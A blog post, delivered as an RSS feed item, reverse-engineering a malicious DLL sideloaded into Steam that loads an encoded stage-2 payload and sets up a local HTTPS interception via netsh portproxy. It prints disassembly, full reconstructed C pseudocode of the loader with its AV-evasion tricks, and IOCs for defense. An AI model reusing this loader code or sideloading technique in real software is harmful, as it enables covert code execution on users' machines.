<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[顾の博客]]></title><description><![CDATA[哈喽~欢迎光临]]></description><link>https://blog.ovoii.io</link><image><url>https://blog.ovoii.io/innei.svg</url><title>顾の博客</title><link>https://blog.ovoii.io</link></image><generator>Yohaku (https://github.com/Innei/Yohaku)</generator><lastBuildDate>Sat, 27 Jun 2026 02:52:40 GMT</lastBuildDate><atom:link href="https://blog.ovoii.io/feed" rel="self" type="application/rss+xml"/><pubDate>Sat, 27 Jun 2026 02:52:40 GMT</pubDate><language><![CDATA[zh-CN]]></language><item><title><![CDATA[一次 Steam 异常高占用事件的完整溯源与逆向分析报告]]></title><description><![CDATA[<link rel="preload" as="image" href="https://img.ovoii.de/mx-images/js4a9b1qrdd8i2c59m.png"/><link rel="preload" as="image" href="https://img.ovoii.de/mx-images/vppr7de4wn9vpmsoaz.png"/><link rel="preload" as="image" href="https://img.ovoii.de/mx-images/wp2icla2urjex3cyy0.png"/><div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://blog.ovoii.io/posts/notes/pa-steam">https://blog.ovoii.io/posts/notes/pa-steam</a></blockquote><div><blockquote><p><strong>报告范围</strong>：本报告基于对真实受害样本的取证与逆向分析，<strong>仅限于安全研究与防御目的</strong>。所有指标（IOC）在文末列出，可用于规则编写与企业资产清查；清理脚本附于第 17 节，可独立运行。</p><p><strong>样本来源</strong>：受害主机的实际安装路径（详见第 6 节）。原始样本与脱壳后镜像的 SHA256 哈希列于第 18 节 IOC。所有动态行为均在隔离虚拟机环境中复现；本报告未对外发布任何样本二进制。</p></blockquote>
<h2 id="1-">1. 现象观察</h2><p>事件由一台 Windows 10 主机的 Steam 客户端持续异常触发。受影响主机的可观测现象集中于以下若干维度：</p><ul><li><strong>进程资源占用</strong>：<code>Steam.exe</code> 主进程 CPU 占用稳定在 30%~50% 区间，工作集（Working Set）可在 30 分钟内增至数 GB；</li><li><strong>进程身份</strong>：高占用进程为 <code>Steam.exe</code> 主进程本身，而非 <code>Steam Client WebHelper</code>，也非游戏进程 <code>PartyAnimals.exe</code>；</li><li><strong>状态残留</strong>：游戏退出后 Steam 客户端 UI 仍显示&quot;游戏运行中&quot;，资源占用不释放，必须终止 Steam 主进程方可恢复；</li><li><strong>环境相关性</strong>：相同账号、相同游戏在另一台对照机器上运行正常，初步排除 Steam 账户与游戏自身缺陷；</li><li><strong>稳定触发条件</strong>：异常仅在《猛兽派对》启动后稳定复现，故初始假设倾向 Steam 客户端的录制/Overlay/Shader 预缓存/Input/控制器/Beta 通道等子系统缺陷。</li></ul><p><img alt="异常时的 Steam 客户端状态" height="178" src="https://img.ovoii.de/mx-images/js4a9b1qrdd8i2c59m.png" width="1752"/></p><p>逐项关闭上述 Steam 子系统、重装游戏、离线启动 Steam、清除 <code>config</code> 与 <code>userdata</code> 目录等常规手段均不解决问题。可疑信号在排查过程中逐步收敛：</p><ul><li>即便在 Steam 离线模式下，启动游戏后占用仍升高 → 异常并非源自外网请求阻塞；</li><li><code>Steam.exe</code> 主进程线程数随时间单调增长（实测序列 207 → 219 → 235 → 247）→ 异常表现为线程级泄漏，而非单线程死循环；</li><li>Steam 客户端日志偶现 <code>Failed to load Steam Service (GLE 126)</code>，但 <code>SteamService.exe /repair</code> 操作会卡死，且 <code>SteamService</code> 不在异常进程链路上，后续分析证明其与根因无关。</li></ul><p>至此可基本排除 Steam 客户端自身的常规故障路径，将分析方向转向&quot;进程内被注入了非官方代码&quot;这一更深层假设。</p><h2 id="2--socket-">2. 进程内存取证：异常代码段与 socket 风暴的首次定位</h2><p>采集两份进程内存 dump 作为后续分析的基线，第一份为游戏运行期间，第二份为游戏退出后：</p><table><thead><tr><th> 文件 </th><th> 线程数 </th><th> PRIVATE_EXEC 线程 </th><th> 私有可执行内存 </th></tr></thead><tbody><tr><td> <code>steam.dmp</code> </td><td> 128 </td><td> 82 </td><td> ~586 MB </td></tr><tr><td> <code>steamtc.dmp</code> </td><td> 265 </td><td> 224 </td><td> ~1368 MB </td></tr></tbody></table><p>为规避对 WinDbg/cdb 的强依赖，编写最小化 minidump 解析脚本，对模块表、线程入口、栈返回地址、内存区段属性逐项扫描，得到三个互相印证的事实：</p><ol start="1"><li>Steam 进程内存在巨量 <code>MEM_PRIVATE</code> + <code>PAGE_EXECUTE_READWRITE</code> 私有内存（游戏退出后达 1.3 GB），呈&quot;约 4–8 MB 一组&quot;的规整分配；</li><li>大量线程的栈顶位于 <code>mswsock!WSPAccept → ws2_32!accept → 匿名地址</code>；</li><li>上述匿名地址不属于 <code>steam.exe / steamui.dll / steamclient64.dll / tier0_s64.dll / gameoverlayrenderer64.dll</code> 任意一个正常模块。</li></ol><p>随后以 WinDbg Preview 复核上述结论：</p><pre class="language-text lang-text"><code class="language-text lang-text">.symfix C:\Symbols
.reload /f
!runaway 7
!address -summary
!address -f:PAGE_EXECUTE_READWRITE
~* kpn 30
</code></pre>
<p><code>!address</code> 命令进一步确认，高 CPU 线程的当前 PC（如 <code>00000249bc3a4ead</code>）落在一段约 4 MB 的 <code>MEM_PRIVATE / PAGE_EXECUTE_READWRITE</code> 区。</p><p>至此分析方向由&quot;Steam 客户端性能缺陷&quot;转向更精确的假设：<strong>Steam 主进程内存在不属于任何已加载模块的代码段，且该代码段持续在本地端口上 accept 大量连接</strong>。</p><h2 id="3--steamworks-">3. 异常代码段的初步反汇编：本地伪 Steamworks 服务的初步轮廓</h2><p>对 dump 内 4 MB 匿名区段实施反汇编与字符串扫描，提取到的内容并非通用脚本运行时，而是与 Steamworks 服务端代码高度同构的字符串集合：</p><pre class=""><code class="">\Steam\protobuf-main\src\google\protobuf\...
steam_api.proto / steam_cloud.proto / steam_server.proto
steam_id_lobby / steam_id_owner / client_supplied_steam_id
primary_steam_controller_serial / total_steam_controller_count
http_host / http_status_code / use_https / not a socket
</code></pre>
<p>该代码段会通过间接调用引用 <code>kernel32</code> 函数，但其自身并不属于任何已加载模块的导出表。结合&quot;4–8 MB 一组的规整分配&quot;、&quot;socket accept 风暴&quot;等并发现象，可初步认定：Steam 进程内常驻一个被反复创建而未正确回收的本地服务实现。</p><h2 id="4-00008443--127001443--1270018443">4. 端口与流量入口定位：<code>0.0.0.0:8443</code> 与 <code>127.0.0.1:443 → 127.0.0.1:8443</code></h2><p>查询 Steam 进程的 TCP 端口占用：</p><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">$p = (Get-Process steam | Sort-Object CPU -Descending | Select-Object -First 1).Id
Get-NetTCPConnection -OwningProcess $p |
  Group-Object State,LocalAddress,LocalPort |
  Sort-Object Count -Descending |
  Select-Object Count,Name -First 30
</code></pre>
<p>结果中出现明显异常项 <code>Listen 0.0.0.0:8443</code>，且多个监听 socket 归属 <code>steam.exe</code>。进一步检查 Windows portproxy 规则：</p><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">netsh interface portproxy show all
</code></pre>
<pre class=""><code class="">侦听 ipv4              连接到 ipv4
127.0.0.1   443        127.0.0.1   8443
</code></pre>
<p>即：本机发往 <code>127.0.0.1:443</code> 的连接被 Windows 系统重定向到 Steam 进程监听的 8443 端口。该结构与&quot;本地透明 HTTPS 中间人&quot;的入站路径完全一致。</p><p>尝试清除该规则以观察其持久化机制：</p><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">Remove-ItemProperty &#x27;HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp&#x27; -Name &#x27;127.0.0.1/443&#x27;
net stop iphlpsvc; net start iphlpsvc
</code></pre>
<p>规则会短暂消失，但<strong>只要重新启动旧 Steam，规则即被重建</strong>。该现象排除&quot;系统配置历史残留&quot;的可能性，表明 Steam 启动链路中存在主动重建该规则的代码。<code>sc.exe config &quot;Steam Client Service&quot; start= disabled</code> 同样不能阻止重建，说明执行主体亦非 Steam Client Service。</p><h2 id="5-process-monitor-steam--netsh">5. Process Monitor 进程链溯源：Steam 进程主动派生 netsh</h2><p>使用 Procmon 捕获 Steam 启动期间的 <code>Process Create</code> 事件，将时间窗口对齐至 Steam 启动后 5 秒内，捕获到决定性的进程链事件：</p><pre class=""><code class="">Steam.exe (39372)  父进程→子进程
└─ cmd.exe   (39340)
   命令行: cmd.exe /c netsh interface portproxy add v4tov4
           listenport=443 listenaddress=127.0.0.1
           connectport=8443 connectaddress=127.0.0.1
   时间戳: 2026-05-22 02:52:08
   父进程: Steam.exe (启动于 02:52:05)
</code></pre>
<p><img src="https://img.ovoii.de/mx-images/vppr7de4wn9vpmsoaz.png"/></p><p><img src="https://img.ovoii.de/mx-images/wp2icla2urjex3cyy0.png"/></p><p>Steam 主进程在启动后约 3 秒派生 <code>cmd.exe</code>，由其调用 <code>netsh</code> 添加 portproxy 规则。该行为不存在于 Valve 官方客户端的任何已知执行路径——可视为 Steam 主进程被注入的直接行为证据。</p><h2 id="6--steam-">6. 干净对照实验：定位污染范围至 Steam 安装根目录</h2><p>在干净环境下重新部署一份官方 Steam 客户端至 <code>F:\teststeam</code>，开展两组对照实验：</p><ul><li>在登录界面静置：新 Steam <strong>不会</strong> 创建 portproxy 规则，端口列表保持干净；</li><li>通过新 Steam 启动《猛兽派对》：进程占用正常，未出现高 CPU/内存与线程数泄漏。</li></ul><p>进一步以交叉迁移法收敛污染源——将旧 <code>F:\steam</code> 的各子目录逐个迁入新 Steam 目录后启动测试：</p><ul><li><code>steamapps</code>、<code>config</code>、<code>userdata</code>、<code>package</code>、<code>clientui</code>、<code>bin</code>、<code>public</code>、<code>resource</code>、<code>appcache</code> 任一子目录的迁入均<strong>不</strong>触发 portproxy 创建。</li></ul><p>由此可判定：污染源不在用户数据/缓存类子目录中，而位于 Steam <strong>根目录下的额外文件</strong>。</p><h2 id="7-compare-object--xinput14dll">7. Compare-Object 差异定位至 <code>xinput1_4.dll</code></h2><pre class="language-powershell lang-powershell"><code class="language-powershell lang-powershell">Compare-Object `
  (Get-ChildItem F:\steam     -File | Select-Object -ExpandProperty Name) `
  (Get-ChildItem F:\teststeam -File | Select-Object -ExpandProperty Name)
</code></pre>
<pre class=""><code class="">libx264-142.dll  &lt;=
logs.zip         &lt;=
simulator.dll    &lt;=
xinput1_4.dll    &lt;=
</code></pre>
<p>差集中含 4 个旧 Steam 独有的文件。对该 4 个文件实施&quot;重命名为 <code>*.bak</code> → 清除 portproxy → 重启 Steam&quot;的二分复测，链路稳定收敛于一个文件：</p><p><strong><code>F:\steam\xinput1_4.dll</code></strong></p><p>该文件存在时，Steam 启动即重建 <code>443→8443</code> portproxy 规则，且《猛兽派对》触发高占用；该文件被重命名后，端口规则不再被创建，游戏运行恢复正常。<strong>根因文件锁定</strong>。</p><h2 id="8-xinput14dll--dll-">8. <code>xinput1_4.dll</code> 完整逆向：一阶段 DLL 侧载加载器</h2><p>样本基础信息：</p><pre class=""><code class="">SHA256:     631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
大小:        30,648 bytes
架构:        x64
PE 时间戳:   2025-12-20 12:42:55 UTC
ImageBase:  0x180000000
Entry RVA:  0x3190
导出:        无
签名:        Valid
签名者:      山西荣升源科贸有限公司
颁发者:      Verokey High Assurance Secure Code EV
Thumbprint: 428FEE9B772BD7E56987E864AD8C83B5721E717F
PDB:        C:\Users\Administrator\Desktop\\xinput1_4\x64\Release\xinput1_4.pdb
</code></pre>
<p>该 DLL 持有有效签名，但有效签名仅代表代码签名证书已由 CA 颁发，并不蕴含&quot;代码无恶意&quot;的语义；EV 代码签名证书在灰产/恶意软件分发链中亦属常见。PDB 路径同时暴露作者机器的用户名为 <code>Administrator</code>，项目位于 Desktop 目录，使用标准 MSVC <code>x64\Release</code> 模板构建。</p><h3 id="81-xinput-dll">8.1 命名异常：导出表为空的&quot;XInput&quot; DLL</h3><p>正常的 <code>xinput1_4.dll</code> 必须导出：</p><pre class=""><code class="">XInputGetState / XInputSetState
XInputGetCapabilities
XInputGetBatteryInformation
...
</code></pre>
<p>该 DLL 不导出任何 XInput 接口函数，存在的唯一作用为<strong>利用文件名借助 Windows DLL 搜索顺序，被 Steam 主进程于启动期间加载</strong>（即 DLL 侧载 / DLL hijacking）。Windows 加载 EXE 时按固定顺序查找其依赖的 DLL，EXE 同目录的优先级高于 <code>System32</code>，因此放置于 <code>F:\steam` 根目录的伪 </code>xinput1_4.dll` 将先于系统目录下的正版 DLL 被加载。</p><h3 id="82-dllmain">8.2 <code>DllMain</code>：基于宿主环境的条件激活</h3><p>入口 <code>0x3190</code> 为 MSVC 的 <code>_DllMainCRTStartup</code> 跳板，最终跳转至 <code>0x180001550</code>，即真正的 DllMain 函数：</p><pre class=""><code class="">0x180001550: push    rbx
0x180001552: sub     rsp, 0x20
0x180001556: mov     rbx, rcx                  ; save hinstDLL
0x180001559: lea     rcx, [rip + 0x2c80]       ; &quot;SteamUI.dll&quot;
0x180001560: call    qword ptr [rip + 0x2ab2]  ; KERNEL32!GetModuleHandleA
0x180001566: test    rax, rax
0x180001569: je      0x180001579               ; 宿主非 Steam 时直接返回
0x18000156b: mov     rcx, rbx
0x18000156e: call    qword ptr [rip + 0x2a9c]  ; KERNEL32!DisableThreadLibraryCalls
0x180001574: call    0x180001170               ; 工作函数
0x180001579: mov     eax, 1                    ; 总是返回 TRUE
0x18000157e: add     rsp, 0x20
0x180001582: pop     rbx
0x180001583: ret
</code></pre>
<p>入口逻辑实现了清晰的宿主环境检测：<code>GetModuleHandleA(&quot;SteamUI.dll&quot;)</code> 验证 SteamUI 是否已加载——仅在该模块在场时（即宿主为 Steam 主进程，其余进程通常不加载 <code>SteamUI.dll</code>）进入工作流程。其他宿主进程下直接 <code>return TRUE</code> 静默退出，规避非 Steam 环境下的暴露。</p><h3 id="83--sub1170-api-">8.3 工作函数 <code>sub_1170</code>：二次 API 解析</h3><pre class=""><code class="">0x180001187: lea     rcx, [rip + 0x2f92]       ; &quot;kernel32.dll&quot;
0x18000118e: call    GetModuleHandleA          ; rdi = HMODULE kernel32
0x180001194: lea     rcx, [rip + 0x2f95]       ; &quot;user32.dll&quot;
0x18000119e: call    GetModuleHandleA          ; rbx = HMODULE user32
0x1800011a4: lea     rdx, &quot;GetProcAddress&quot;
0x1800011b1: call    GetProcAddress
0x1800011b7: lea     rdx, &quot;VirtualAlloc&quot;       ; -&gt; r13
0x1800011c7: lea     rdx, &quot;VirtualFree&quot;        ; -&gt; r15
0x1800011da: lea     rdx, &quot;MessageBoxA&quot;        ; （解析了但没用上）
0x1800011ed: lea     rdx, &quot;CreateFileA&quot;        ; -&gt; rsi
0x1800011fd: lea     rdx, &quot;ReadFile&quot;           ; -&gt; r12
0x180001210: lea     rdx, &quot;CloseHandle&quot;        ; -&gt; r14
0x180001223: lea     rdx, &quot;GetFileSize&quot;        ; -&gt; rdi
</code></pre>
<p>需注意，上述 API 在静态 IAT 内<strong>已全部存在</strong>，作者仍以 <code>GetModuleHandleA + GetProcAddress</code> 进行运行时二次解析。该手法属于典型的反静态分析 / 反 IAT-hook 技术——避免核心 API 走静态 IAT，绕过部分 EDR/AV 在 IAT 槽上预设的钩子。</p><h3 id="84-localappdata-">8.4 <code>%LOCALAPPDATA%</code> 三级路径回退</h3><pre class=""><code class="">1. GetEnvironmentVariableA(&quot;LOCALAPPDATA&quot;, buf, MAX_PATH)
   成功就直接用。

2. 失败则:
   GetUserNameA(&amp;user, &amp;size)
   wsprintfA(&amp;buf, &quot;C:\\Users\\%s\\AppData\\Local&quot;, user)
   GetFileAttributesA(&amp;buf)       // 验证路径存在
   成功就用。

3. 还失败则 SHGetKnownFolderPath:
   GUID = {F1B32785-6FBA-4FCF-9D55-7B8E7F157091}    ← FOLDERID_LocalAppData
   flags = 0x8000                                    ← KF_FLAG_DEFAULT_PATH
   返回宽字符 → WideCharToMultiByte 转 ANSI → CoTaskMemFree

4. 最后的兜底 SHGetSpecialFolderPathA(NULL, &amp;buf, 0x1C, FALSE)
   其中 0x1C = CSIDL_LOCAL_APPDATA
</code></pre>
<p>RVA <code>0x4200</code> 处的 16 字节常量经反推确认为 <code>FOLDERID_LocalAppData</code> 的 GUID（小端字节序的 <code>8527b3f1ba6fcf4f9d557b8e7f157091</code>）。</p><p>接着 <code>wsprintfA(&amp;fullpath, &quot;%s\Steam\localData.vdf&quot;, local_appdata)</code> 拼出最终目标路径。</p><h3 id="85-">8.5 文件读取与按字节按位取反解码</h3><pre class=""><code class="">CreateFileA(path, GENERIC_READ=0x80000000, FILE_SHARE_READ=1, NULL,
            OPEN_EXISTING=3, FILE_ATTRIBUTE_NORMAL=0x80, NULL)
GetFileSize(h, NULL)                                  → size
VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT=0x3000, PAGE_READWRITE=4)
ReadFile(h, buf, size, &amp;actual, NULL)
CloseHandle(h)
</code></pre>
<p>随后是 SSE 反序解码循环：</p><pre class=""><code class="">0x180001433: movdqa  xmm2, xmmword ptr [rip+0x2db5]   ; 取常量
0x180001460: movdqu  xmm0, [rax-0x20]
0x18000146d: andnps  xmm0, xmm2                       ; xmm0 = (~xmm0) &amp; xmm2
0x180001470: movdqu  [rax-0x60], xmm0
... 4 路展开，每轮 64 字节 ...
0x180001460-0x180001497: movdqu/andnps/movdqu × 4 组
... 余字节标量尾巴 ...
0x1800014e0: not     byte ptr [rcx]
0x1800014e2: lea     rcx, [rcx+1]
0x1800014e6: sub     r8, 1
0x1800014ea: jne     0x1800014e0
</code></pre>
<p>RVA 0x41f0 处的 16 字节 <code>xmm2</code> 常量经 dump 验证为 <code>ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff</code>——<strong>全 0xFF</strong>。</p><p>x86 SSE 的 <code>andnps a, b</code> 指令执行 <code>a = (NOT a) AND b</code>。当 <code>b = 0xFFFF...FF</code>（全 1）时，结果即为 <code>a = NOT a</code>。结合标量尾部循环中显式出现的 <code>not byte ptr [rcx]</code>，整段解码变换的语义被指令级证据明确为<strong>按字节按位取反</strong>，等价于每字节执行 <code>XOR 0xFF</code>。</p><h3 id="86--pe-memorymodule-">8.6 手动 PE 映射：MemoryModule 库的直接复用</h3><pre class=""><code class="">0x1800014ec: mov     rdx, rdi                  ; size
0x1800014ef: mov     rcx, rsi                  ; decoded buffer
0x1800014f2: call    0x180001590               ; sub_1590 = MemoryLoadLibraryEx
0x1800014f7: test    rax, rax
0x1800014fa: je      0x180001512               ; 失败 -&gt; ret
0x1800014fc: lea     rdx, &quot;loadLib&quot;
0x180001503: mov     rcx, rax                  ; mapped module handle
0x180001506: call    0x180001b20               ; sub_1b20 = MemoryGetProcAddress
0x18000150b: test    rax, rax
0x18000150e: je      0x180001512
0x180001510: call    rax                       ; ← stage-2!loadLib()
</code></pre>
<p><code>sub_1590</code> 为浅封装，将 5 个内部函数指针压栈后调用真正的映射器 <code>0x180001e5e0</code>。这 5 个回调精确对应 <a href="https://github.com/fancycode/MemoryModule">MemoryModule</a>（Joachim Bauch 的开源内存 PE 加载器）库中 <code>MemoryLoadLibraryEx</code> 的 5 个可定制函数：<code>MemoryLoadLibrary / MemoryGetProcAddress / MemoryFreeLibrary / MemoryAlloc / MemoryFree</code>。</p><p><code>sub_1b20</code> 为标准实现的 <code>MemoryGetProcAddress</code>：</p><pre class=""><code class="">rax = MODULE.headers       (offset +0)
r15 = MODULE.codeBase      (offset +8)
读 [headers + 0x88, 0x8C]  ; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
读 [export_dir + 0x14, 0x18, 0x10]  ; NumberOfFunctions / NumberOfNames / Base
首次调用 HeapAlloc 一份名字表缓存，存到 [MODULE + 0x50]  ; MEMORYMODULE.nameExportsTable
</code></pre>
<p>MemoryModule 的 <code>MEMORYMODULE</code> 结构第一字段为 <code>PIMAGE_NT_HEADERS headers</code>，第二字段为 <code>unsigned char *codeBase</code>，再过若干字段即 <code>LPVOID *nameExportsTable</code>——恰好对应偏移 +0、+8、+0x50（x64 对齐后）。该样本<strong>未对结构体偏移进行修改，直接沿用了 MemoryModule 的原始布局</strong>。</p><p><code>call rax</code> 调用前未对 <code>rcx</code>/<code>rdx</code>/<code>r8</code>/<code>r9</code> 进行赋值，依 Windows x64 ABI 可判定 stage-2 的 <code>loadLib</code> 为<strong>无参函数</strong>。</p><h3 id="87-">8.7 失败路径的静默化处理</h3><p>整个工作函数中不存在任何 <code>MessageBoxA</code> 实际调用（虽该 API 在 §8.3 的二次解析步骤中被解析；推测为早期开发期的调试提示框残留，未在发布版本中被使用），所有失败分支均为 <code>CloseHandle + VirtualFree(buf, 0, MEM_RELEASE) + ret 0</code>。即<strong>任一阶段的失败都不会对外报告</strong>，宿主进程无可观测信号。</p><h3 id="88-stage-1-">8.8 stage-1 完整伪码</h3><pre class="language-c lang-c"><code class="language-c lang-c">BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (GetModuleHandleA(&quot;SteamUI.dll&quot;) == NULL)
        return TRUE;                                  // 宿主非 Steam，静默退出
    DisableThreadLibraryCalls(hinstDLL);
    do_work();
    return TRUE;
}

static void do_work(void) {
    HMODULE k32 = GetModuleHandleA(&quot;kernel32.dll&quot;);
    HMODULE u32 = GetModuleHandleA(&quot;user32.dll&quot;);
    // 二次解析关键 API，绕开 IAT 钩子
    pVirtualAlloc = GetProcAddress(k32, &quot;VirtualAlloc&quot;);
    pVirtualFree  = GetProcAddress(k32, &quot;VirtualFree&quot;);
    pCreateFileA  = GetProcAddress(k32, &quot;CreateFileA&quot;);
    pReadFile     = GetProcAddress(k32, &quot;ReadFile&quot;);
    pCloseHandle  = GetProcAddress(k32, &quot;CloseHandle&quot;);
    pGetFileSize  = GetProcAddress(k32, &quot;GetFileSize&quot;);

    char local_appdata[MAX_PATH] = {0};
    // 三级 fallback 解析 %LOCALAPPDATA%
    if (!GetEnvironmentVariableA(&quot;LOCALAPPDATA&quot;, local_appdata, MAX_PATH)) {
        char user[256]; DWORD usz = sizeof(user);
        if (GetUserNameA(user, &amp;usz)) {
            char buf[MAX_PATH];
            wsprintfA(buf, &quot;C:\\Users\\%s\\AppData\\Local&quot;, user);
            if (GetFileAttributesA(buf) != INVALID_FILE_ATTRIBUTES) {
                lstrcpynA(local_appdata, buf, MAX_PATH);
                goto have_path;
            }
        }
        PWSTR wpath = NULL;
        if (SUCCEEDED(SHGetKnownFolderPath(&amp;FOLDERID_LocalAppData,
                                           KF_FLAG_DEFAULT_PATH, NULL, &amp;wpath))) {
            WideCharToMultiByte(CP_ACP, 0, wpath, -1, local_appdata, MAX_PATH, 0, 0);
            CoTaskMemFree(wpath);
        } else {
            SHGetSpecialFolderPathA(NULL, local_appdata, CSIDL_LOCAL_APPDATA, FALSE);
        }
    }
have_path:;

    char fullpath[MAX_PATH];
    wsprintfA(fullpath, &quot;%s\\Steam\\localData.vdf&quot;, local_appdata);

    HANDLE h = CreateFileA(fullpath, GENERIC_READ, FILE_SHARE_READ, NULL,
                           OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (h == INVALID_HANDLE_VALUE) return;
    DWORD size = GetFileSize(h, NULL);
    BYTE *buf = VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    DWORD read = 0;
    ReadFile(h, buf, size, &amp;read, NULL);
    CloseHandle(h);
    if (read != size) { VirtualFree(buf, 0, MEM_RELEASE); return; }

    // 按字节取反 (== XOR 0xFF)
    for (DWORD i = 0; i &lt; size; ++i) buf[i] = ~buf[i];

    // MemoryModule 风格手动映射，调用 loadLib
    HMEMORYMODULE mod = MemoryLoadLibrary(buf, size);
    if (!mod) return;
    FARPROC loadLib = MemoryGetProcAddress(mod, &quot;loadLib&quot;);
    if (loadLib) ((void(*)(void))loadLib)();
}
</code></pre>
<p><code>xinput1_4.dll</code> 仅承担第一阶段加载器职能，其本体载荷位于 <code>%LOCALAPPDATA%\Steam\localData.vdf</code>。下一节针对该 stage-2 镜像展开静态分析。</p><h2 id="9-stage-2--vdf--pe-">9. stage-2 静态分析：伪装为 VDF 的 PE 镜像</h2><h3 id="91--pe">9.1 解码 PE</h3><p>从受害主机回收 <code>localData.vdf</code>：</p><pre class=""><code class="">路径:    C:\Users\Administrator\AppData\Local\Steam\localData.vdf
大小:    2,900,480 bytes (2.9 MB)
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
mtime:   2026-01-01 16:50:04
</code></pre>
<p>头几个字节：</p><pre class=""><code class="">B2 A5 6F FF FC FF FF FF FB FF FF FF 00 00 FF FF ...
</code></pre>
<p>该字节序列不符合 VDF 文本格式特征。注意 <code>B2 ^ FF = 4D</code>、<code>A5 ^ FF = 5A</code>，对应 ASCII 字符 <code>MZ</code>。对整文件执行 <code>NOT/XOR 0xFF</code> 解码后：</p><pre class=""><code class="">4D 5A 90 00 03 00 00 00 ...     ← 标准 MZ DOS header
</code></pre>
<pre class=""><code class="">解码后 SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
架构:          x64
PE 时间戳:     2025-12-25 13:11:40 UTC
ImageBase:    0x180000000
SizeOfImage:  0x82A000  (约 8.5 MB，比磁盘文件大 ~5.6 MB)
入口 RVA:      0x5667F0
签名:          NotSigned
</code></pre>
<p>导出表只有一个函数：</p><pre class=""><code class="">导出 DLL 名:  hid.dll
导出函数:    loadLib  (RVA 0x2CB80)
PDB 路径:    F:\入库内核\Steam\x64\Release\hid.pdb     ← ★ 作者自己命名&quot;入库内核&quot;
</code></pre>
<p>stage-1 通过 <code>MemoryGetProcAddress</code> 查找的导出名为 <code>loadLib</code>，stage-2 恰好仅导出 <code>loadLib</code>——两文件共享同一作者命名空间，构成两阶段加载链。<strong>PDB 路径中的&quot;入库内核&quot;字样直接揭示了项目的业务身份：结合入口域名 <code>cdk.steam.icu</code> 与后续 §12.11 出现的 <code>CMsgCdkActiveResponse</code> 协议字段，可判定该工具是&quot;购买 Steam CDK 激活码 → 入库工具 → 将未购买游戏激活进 Steam 库&quot;这一灰产业务链的运行时内核组件</strong>。</p><h3 id="92-11--7--rawsize--0">9.2 节表特征：11 节中 7 节 raw_size = 0</h3><pre class=""><code class="">节                   vaddr        vsize        raw_off      rsize
.text     0x00001000 0x00326872 0x00000000 0x00000000   ← raw=0 (虚拟节)
.rdata    0x00328000 0x0009b8f0 0x00000000 0x00000000   ← raw=0
.data     0x003c4000 0x00026fd0 0x00000000 0x00000000   ← raw=0
.pdata    0x003eb000 0x000218dc 0x00000000 0x00000000   ← raw=0
.fptable  0x0040d000 0x00000200 0x00000000 0x00000000   ← raw=0 ★
.text     0x0040e000 0x00141fd0 0x00000000 0x00000000   ← raw=0 (第二个 .text)
.data     0x00550000 0x0001273f 0x00000000 0x00000000   ← raw=0
.text     0x00563000 0x002c30b0 0x00000400 0x002c3200   ← 含实际数据的第三个 .text
.data     0x00827000 0x00000610 0x002c3600 0x00000800
.reloc    0x00828000 0x00000080 0x002c3e00 0x00000200
.rsrc     0x00829000 0x000000f8 0x002c4000 0x00000200
</code></pre>
<p>该节布局是 <strong>VMProtect 3.x</strong> 的典型形态：</p><ul><li><strong>存在三个 <code>.text</code> 节</strong>，前两个 raw=0（虚拟节，运行时由解包器填回），第三个含 2.9 MB 实际数据；</li><li><strong><code>.fptable</code></strong> 是 VMProtect 的特征节（function pointer table）；</li><li>入口 <code>0x5667f0</code> 落入第三个 <code>.text</code> 节，由约 4000 字节的解包/虚拟机调度代码完成自举；</li><li><strong><code>SizeOfImage</code> 0x82A000 较磁盘文件大 ~5.6 MB</strong>，差额恰等于所有 raw=0 节体积之和——VMProtect 的标准实现：原始节在磁盘上被剥离，运行时由解包器还原。</li></ul><p>低熵 bootstrap 区（rva 0x563000–0x56f000）提取出的字符串中亦含 VMProtect 特征指纹：</p><pre class=""><code class="">.rdata$voltmd                ← VMProtect SDK 特有 metadata 段
.fptable
</code></pre>
<p><code>.rdata$voltmd</code> 与 <code>.fptable</code> 同时存在，可作为 VMProtect SDK 的强特征指纹。同一位置还可见完整的 <code>.CRT$XCA..XCZ / .CRT$XIA..XIZ / .CRT$XLA..XLZ</code> MSVC 链——原始编译器为 MSVC，C++ runtime 完整存在。</p><h3 id="93--iat-11-">9.3 极简 IAT：仅 11 项导入</h3><p>完整导入表：</p><pre class=""><code class="">KERNEL32.dll: LoadLibraryExW
USER32.dll:   GetForegroundWindow
ADVAPI32.dll: CryptAcquireContextA
SHELL32.dll:  SHGetKnownFolderPath
ole32.dll:    CoTaskMemFree
bcrypt.dll:   BCryptGenRandom
WINHTTP.dll:  WinHttpSendRequest
WS2_32.dll:   ord #3        ← bind()；按序号导入是 VMProtect IAT 混淆的常见做法
CRYPT32.dll:  CertSetCertificateContextProperty
DNSAPI.dll:   DnsQuery_W
dbghelp.dll:  SymFromAddr
</code></pre>
